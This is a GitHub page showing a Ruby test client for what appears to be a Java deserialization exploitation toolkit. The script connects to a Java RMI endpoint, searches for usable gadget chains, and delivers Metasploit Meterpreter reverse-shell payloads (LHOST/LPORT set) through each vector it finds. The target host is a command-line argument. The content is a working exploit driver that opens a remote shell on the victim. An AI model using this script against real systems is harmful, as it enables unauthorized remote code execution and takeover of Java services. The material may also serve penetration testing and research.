-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathtest-client.rb
46 lines (35 loc) · 1.3 KB
/
test-client.rb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
#!/usr/bin/env ruby
require_relative 'classfile'
require_relative 'runner'
require_relative 'gadgets'
require_relative 'meterpreter'
host = '127.0.0.1'
host = ARGV[0] unless ARGV.empty?
port = 1099
port = ARGV[1].to_i if ARGV.length > 1
ssl = FALSE
jmxcreds = nil
# jmxcreds = Java::Serialize::JavaArray.new("Ljava/lang/String;", ["test","test"])
params = {
'classfiles' => Java::Meterpreter.meterpreter_classes({
'LPORT' => 4444,
'LHOST' => '127.0.0.1'
}, ['metasploit/TransletPayload.class'])
}
runner = Java::Runner::RMICheck.new(host, port, ssl: ssl, username: 'test', password: 'test')
vectors = runner.run
gadgets = Java::Gadgets::BuiltinGadgets.new
vectors.each do |vector|
next unless vector.respond_to?('context')
ctx = vector.context
matches = gadgets.find(ctx, params: params)
matches.each do |match|
payl = match.create(ctx, params: params)
begin
vector.deliver(payl)
rescue Java::JRMP::JRMPError => e
root = Java::JRMP.unwrap_exception(e.ex)
info 'Call returned error, this does not necessarily mean that the exploit failed: ' + root[0][0] + ':' + root[1]['detailMessage']
end
end
end